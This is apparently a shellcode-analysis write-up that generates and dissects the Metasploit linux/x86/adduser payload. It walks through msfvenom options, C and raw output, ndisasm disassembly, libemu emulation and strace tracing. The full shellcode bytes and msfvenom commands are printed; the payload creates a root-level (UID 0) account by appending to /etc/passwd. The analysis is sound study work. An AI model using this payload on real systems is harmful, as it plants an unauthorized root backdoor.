5.B. 1. linux/x86/adduser

First, let’s list the options the MSF payload expects as required parameters. As shown, it expects the PASS and USER parameter to be used.

MSF payload requirements

msfvenom --list-options -p linux/x86/adduser
Options for payload/linux/x86/adduser:
=========================


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

Next step is generating the shellcode with the required options:

Generating shellcode in C

msfvenom -p linux/x86/adduser --platform linux -a x86 user=hodor pass=hodorhodor -f c 
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes
Final size of c file: 413 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f"
"\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52"
"\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
"\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58"
"\xcd\x80";

Without newlines, the string is:
“\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80”

Creating binary file for later analysis

RAW

msfvenom -p linux/x86/adduser --platform linux -a x86 user=hodor pass=hodorhodor R -o msf_linx86_adduser_sample1.bin
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes
Saved as: msf_linx86_adduser_sample1.bin

C

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" > msf_linx86_adduser_sample1_alt.bin

Differences between raw output and generated C code

When generating shellcode with msfvenom, some NULL bytes are being generated. This breaks execution of shellcode when being used or run. Still, we try to analyze the msfvenom generated payload to get an idea of it’s actions taken.

Generating C binary from msfvenom C generated code

Using the template, we compile a C binary using the C generated code from msfvenom.

$ ../compile_c.sh msf_linx86_adduser_c_sample1_alt
[+] Compiling ... 
[+] Done!

Analyzing with NDISASM

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E823000000        call dword 0x4e
0000002B  686F646F72        push dword 0x726f646f
00000030  3A417A            cmp al,[ecx+0x7a]
00000033  6D                insd
00000034  755A              jnz 0x90
00000036  726F              jc 0xa7
00000038  7342              jnc 0x7c
0000003A  6A52              push byte +0x52
0000003C  59                pop ecx
0000003D  55                push ebp
0000003E  3A30              cmp dh,[eax]
00000040  3A30              cmp dh,[eax]
00000042  3A3A              cmp bh,[edx]
00000044  2F                das
00000045  3A2F              cmp ch,[edi]
00000047  62696E            bound ebp,[ecx+0x6e]
0000004A  2F                das
0000004B  7368              jnc 0xb5
0000004D  0A598B            or bl,[ecx-0x75]
00000050  51                push ecx
00000051  FC                cld
00000052  6A04              push byte +0x4
00000054  58                pop eax
00000055  CD80              int 0x80
00000057  6A01              push byte +0x1
00000059  58                pop eax
0000005A  CD80              int 0x80

Analyzing with libemu

Attempting to analyze the generated shellcode it only gives debug states of registers and flags, but no pseudo-code is being generated for further analysis.

$ sctest -vvv -S -s 10000 -G libemu_msf_linx86_adduser_sample1_alt < msf_linx86_adduser_sample1_alt.bin
graph file libemu_msf_linx86_adduser_sample1_alt
verbose = 3
[emu 0x0x9be60a8 debug ] cpu state    eip=0x00417000
[emu 0x0x9be60a8 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: 
[emu 0x0x9be60a8 debug ] cpu state    eip=0x00417000
[emu 0x0x9be60a8 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: 
[emu 0x0x9be60a8 debug ] 31C9                            xor ecx,ecx
[emu 0x0x9be60a8 debug ] cpu state    eip=0x00417002
[emu 0x0x9be60a8 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF 
[emu 0x0x9be60a8 debug ] 89CB                            mov ebx,ecx
[emu 0x0x9be60a8 debug ] cpu state    eip=0x00417004
[emu 0x0x9be60a8 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF 
[emu 0x0x9be60a8 debug ] 6A46                            push byte 0x46
[emu 0x0x9be60a8 debug ] cpu state    eip=0x00417006
[emu 0x0x9be60a8 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF 
[emu 0x0x9be60a8 debug ] 58                              pop eax
[emu 0x0x9be60a8 debug ] cpu state    eip=0x00417007
[emu 0x0x9be60a8 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF 
[emu 0x0x9be60a8 debug ] CD80                            int 0x80
stepcount 4
copying vertexes
optimizing graph
vertex 0x9c3c3e8
going forwards from 0x9c3c3e8
 -> vertex 0x9c3e588
 -> vertex 0x9c3e710
 -> vertex 0x9c3e888
copying edges for 0x9c3e888
vertex 0x9c3ea88
going forwards from 0x9c3ea88
copying edges for 0x9c3ea88
[emu 0x0x9be60a8 debug ] cpu state    eip=0x00417009
[emu 0x0x9be60a8 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x9be60a8 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x9be60a8 debug ] Flags: PF ZF 

Generating PNG file from DOT

When attempting to generate a PNG from the libemu DOT file, it remains empty. This is obvious, as there is no code generated to analyze.

$ dot libemu_msf_linx86_adduser_sample1_alt -Tpng -o msf_linx86_adduser_sample1_alt.png
$ 

Recompile shellcode in ASM

Using some awk magic, we can append the instructions to our ASM template.

$ ndisasm -u msf_linx86_adduser_sample1_alt.bin | awk '{print substr($0, index($0, $3))}'
xor ecx,ecx
mov ebx,ecx
push byte +0x46
pop eax
int 0x80
push byte +0x5
pop eax
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
mov ebx,esp
inc ecx
mov ch,0x4
int 0x80
xchg eax,ebx
call dword 0x4e
push dword 0x726f646f
cmp al,[ecx+0x7a]
insd
jnz 0x90
jc 0xa7
jnc 0x7c
push byte +0x52
pop ecx
push ebp
cmp dh,[eax]
cmp dh,[eax]
cmp bh,[edx]
das
cmp ch,[edi]
bound ebp,[ecx+0x6e]
das
jnc 0xb5
or bl,[ecx-0x75]
push ecx
cld
push byte +0x4
pop eax
int 0x80
push byte +0x1
pop eax
int 0x80

Append ASM template

$ cp asm_template.asm msf_linx86_adduser_asm_sample1-alt.asm
$ ndisasm -u msf_linx86_adduser_sample1_alt.bin | awk '{print substr($0, index($0, $3))}' >> msf_linx86_adduser_asm_sample1-alt.asm

Compiling ASM file

$ ../compile_asm.sh msf_linx86_adduser_asm_sample1-alt
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Running the ASM binary
When running the binary, a SEGFAULT is generated. To analyse what’s going on, we’ll be using the tool strace to analyze it’s behaviour.
Clearly, we’re not having enough privileges to perform modifications. As we’ve learned from our radare2 analysis, the shellcode tries to append data to the /etc//passwd file for adding an account: normally only root is allowed to do so.

Basically, the following functions are performed:
– setreuid (set the real and effective UID)
– open (open the file “/etc//passwd” to append data)
– write (write the openend file)
– close (close the openend file)
– exit (exit program)

$ ./msf_linx86_adduser_asm_sample1-alt
Segmentation fault (core dumped)


$ strace ./msf_linx86_adduser_asm_sample1-alt 
execve("./msf_linx86_adduser_asm_sample1-alt", ["./msf_linx86_adduser_asm_sample1"...], [/* 21 vars */]) = 0
setreuid(0, 0)                          = -1 EPERM (Operation not permitted)
open("/etc//passwd", O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)